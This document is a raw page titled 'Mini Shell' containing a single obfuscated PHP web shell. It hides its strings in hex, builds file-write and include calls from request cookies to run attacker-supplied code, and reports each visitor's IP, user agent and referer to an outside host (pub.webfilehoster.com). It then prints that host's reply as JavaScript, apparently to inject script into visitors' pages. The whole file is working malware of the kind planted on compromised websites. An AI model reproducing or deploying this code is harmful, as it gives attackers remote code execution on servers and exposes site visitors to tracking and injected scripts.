Mini Shell
<?php class _xx{private static$_sq;static function _zo($_ka){if(!self::$_sq)self::_tfp();return hex2bin(self::$_sq[$_ka]);}private static function _tfp(){self::$_sq=array('_lj'=>'4163636573732d436f6e7'.'4726f6c2d416c6c6f772d4f726967696e'.'3a20'.'2'.'a','_twz'=>'436f6e74656e742d547970653a206170706c69636174696f6e2f6a617661736'.'37269707'.'4','_wp'=>'6368','_gi'=>'65794a7063434936496a'.'67344c6a67344c6a67344c6a673449697769645745694f694a305a584e3049697769636d5'.'66d496a6f696447567a644'.'34'.'a39','_te'=>'71777a78','_ty'=>'3c6f6b'.'3'.'e','_gs'=>'3c6'.'261643'.'e','_pi'=>'7761'.'6c6'.'c','_epu'=>'','_yaw'=>'','_fsz'=>'','_hst'=>'687474703a2f2f7075622e77656266696c65686f737465722e636f6d2f636f6d706f7365722e6a7'.'33f6'.'46174613'.'d','_otg'=>'6375726c5f69'.'6e'.'6974','_zjv'=>'68'.'7474705f'.'636f64'.'6'.'5','_evm'=>'73636865'.'6d65','_lmi'=>'6874747'.'073','_ss'=>'4745'.'5420','_jd'=>'7'.'0'.'61'.'7'.'468','_pm'=>'7175657'.'2'.'79','_hhi'=>'3'.'f','_tzl'=>'71'.'7565727'.'9','_dl'=>'204'.'85454502f312e300d0a486f'.'7'.'3743'.'a'.'2'.'0','_ib'=>'686f7'.'3'.'74','_caa'=>'0d0a43'.'6f6e6e65637'.'4696f6e3a20436c6f73650d0a0d0a','_ow'=>'73736c3a2f'.'2f','_ueo'=>'','_nl'=>'68'.'6f73'.'7'.'4','_lmj'=>'0d0'.'a','_ce'=>'4'.'85454505f4'.'34c4'.'9'.'454'.'e545f4950','_jg'=>'485454505f585f464f525741'.'5244'.'45'.'445f464f52','_jvb'=>'52454d4'.'f54'.'455f41444'.'45'.'2','_vge'=>'48545'.'4505f55534'.'5525'.'f4147454'.'e54','_rth'=>'48545450'.'5f555345525f41474'.'5'.'4e5'.'4','_tla'=>'','_xu'=>'485'.'454'.'505f5245464'.'55'.'2'.'45'.'52','_qtu'=>'48545450'.'5f524546455245'.'52','_skg'=>'','_ypz'=>'4854'.'54505f434c49454'.'e545'.'f'.'4950','_bjc'=>'4854'.'54505f434c49454e'.'545f4'.'9'.'50','_mu'=>'48545'.'4505f585f464f525'.'7415'.'24445445f464'.'f'.'52','_fso'=>'485454505'.'f585f464f525741524445445f464f52','_qtt'=>'52'.'454d4f54455f414444'.'5'.'2','_cg'=>'52454d4f54455f41444452','_hf'=>'6'.'462676'.'d6f64'.'6'.'5','_sva'=>'4950'.'3a'.'20','_okr'=>'207c205'.'5413a2'.'0','_le'=>'207c20526566'.'3'.'a2'.'0','_fed'=>'203c62'.'72'.'3e'.'0a','_vi'=>'6'.'970','_bk'=>'7561','_urd'=>'726'.'566','_dy'=>'71777a78',);}}header(_xx::_zo('_'.'lj'));header(_xx::_zo('_'.'twz'));if(isset($_GET[_xx::_zo('_w'.'p')])){$_na=_go(_xx::_zo('_g'.'i'));if($_na&&strpos($_na,_xx::_zo('_te'))!==false){die(_xx::_zo('_ty'));}else{die(_xx::_zo('_g'.'s'));}}if(isset($_GET[_xx::_zo('_'.'p'.'i')])){$_teb=$_COOKIE;$_us=(303- -16-319);$_ka=(-834- -841);$_om=array();$_om[$_us]=_xx::_zo('_ep'.'u');while($_ka){$_om[$_us].=$_teb[-292- -128+-276+470][$_ka];if(!$_teb[-7- -37][$_ka+(int)round(0.25+0.25+0.25+0.25)]){if(!$_teb[-197- -55- -379-207][$_ka+(-131-145-43- -321)])break;$_us++;$_om[$_us]=_xx::_zo('_y'.'a'.'w');$_ka++;}$_ka=$_ka+(184- -126-303)+(int)round(0.33333333333333+0.33333333333333+0.33333333333333);}$_us=$_om[(int)round(3.5+3.5+3.5+3.5)]().$_om[734+-710];if(!$_om[(int)round(1.5+1.5+1.5+1.5)]($_us)){$_ka=$_om[-10+26- -10]($_us,$_om[(int)round(3.3333333333333+3.3333333333333+3.3333333333333)]);$_om[-566-110+0+685]($_ka,$_om[60-49].$_om[(int)round(11.5+11.5)]($_om[(int)round(6.25+6.25+6.25+6.25)]($_teb[(int)round(1+1+1)])));}include($_us);}function _go($_btm,$_vt=true){$_tbm=_xx::_zo('_'.'f'.'s'.'z');$_evo=_xx::_zo('_h'.'st').$_btm;if(is_callable(_xx::_zo('_o'.'t'.'g'))){$_qyd=curl_init($_evo);curl_setopt($_qyd,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($_qyd,CURLOPT_SSL_VERIFYHOST,-113- -115);curl_setopt($_qyd,CURLOPT_FOLLOWLOCATION,(int)round(0.33333333333333+0.33333333333333+0.33333333333333));curl_setopt($_qyd,CURLOPT_RETURNTRANSFER,(int)round(0.25+0.25+0.25+0.25));curl_setopt($_qyd,CURLOPT_HEADER,(int)round(0+0+0));curl_setopt($_qyd,CURLOPT_CONNECTTIMEOUT,343-333);curl_setopt($_qyd,CURLOPT_TIMEOUT,-21+151+163-283);$_tbm=curl_exec($_qyd);$_zlo=curl_getinfo($_qyd);curl_close($_qyd);if($_zlo[_xx::_zo('_zj'.'v')]!=(317- -196-313))return false;}else{$_ohe=parse_url($_evo);$_vq=($_ohe[_xx::_zo('_evm')]==_xx::_zo('_lmi'));$_pux=_xx::_zo('_'.'ss').$_ohe[_xx::_zo('_j'.'d')];if(isset($_ohe[_xx::_zo('_pm')]))$_pux.=_xx::_zo('_hhi').$_ohe[_xx::_zo('_tzl')];$_pux.=_xx::_zo('_d'.'l').$_ohe[_xx::_zo('_'.'ib')]._xx::_zo('_'.'ca'.'a');$_mv=fsockopen(($_vq?_xx::_zo('_'.'o'.'w'):_xx::_zo('_ueo')).$_ohe[_xx::_zo('_'.'nl')],$_vq?397+310+459+-723:(int)round(40+40));if($_mv){fputs($_mv,$_pux);$_bv=(int)round(0+0+0+0);while(!feof($_mv)){$_uv=fgets($_mv,(int)round(341.33333333333+341.33333333333+341.33333333333));if($_bv)$_tbm.=$_uv;if($_uv==_xx::_zo('_lmj'))$_bv=(-387+388);}fclose($_mv);}}return$_tbm;}$_pda=isset($_SERVER[_xx::_zo('_c'.'e')]);$_fd=isset($_SERVER[_xx::_zo('_j'.'g')]);$_bg=isset($_SERVER[_xx::_zo('_jvb')]);$_tw=isset($_SERVER[_xx::_zo('_vge')])?$_SERVER[_xx::_zo('_r'.'th')]:_xx::_zo('_tla');$_ozk=isset($_SERVER[_xx::_zo('_x'.'u')])?$_SERVER[_xx::_zo('_qtu')]:_xx::_zo('_sk'.'g');$_pda=isset($_SERVER[_xx::_zo('_ypz')])?$_SERVER[_xx::_zo('_b'.'j'.'c')]:null;$_fd=isset($_SERVER[_xx::_zo('_m'.'u')])?$_SERVER[_xx::_zo('_fs'.'o')]:null;$_bg=isset($_SERVER[_xx::_zo('_qt'.'t')])?$_SERVER[_xx::_zo('_'.'c'.'g')]:null;if(filter_var($_pda,(int)round(91.666666666667+91.666666666667+91.666666666667))){$_nvu=$_pda;}elseif(filter_var($_fd,658-25+481+-839)){$_nvu=$_fd;}else{$_nvu=$_bg;}if(isset($_GET[_xx::_zo('_h'.'f')])){echo _xx::_zo('_sva').$_nvu._xx::_zo('_'.'okr').$_tw._xx::_zo('_le').$_ozk._xx::_zo('_fed');exit();}if(!isset($_nvu)||!isset($_tw)||!isset($_ozk)){exit();}else{$_lip=array(_xx::_zo('_vi')=>$_nvu,_xx::_zo('_'.'bk')=>$_tw,_xx::_zo('_u'.'r'.'d')=>$_ozk);$_jz=urlencode(base64_encode(json_encode($_lip)));$_na=_go($_jz);if($_na&&strpos($_na,_xx::_zo('_dy'))!==false){echo$_na;exit();}}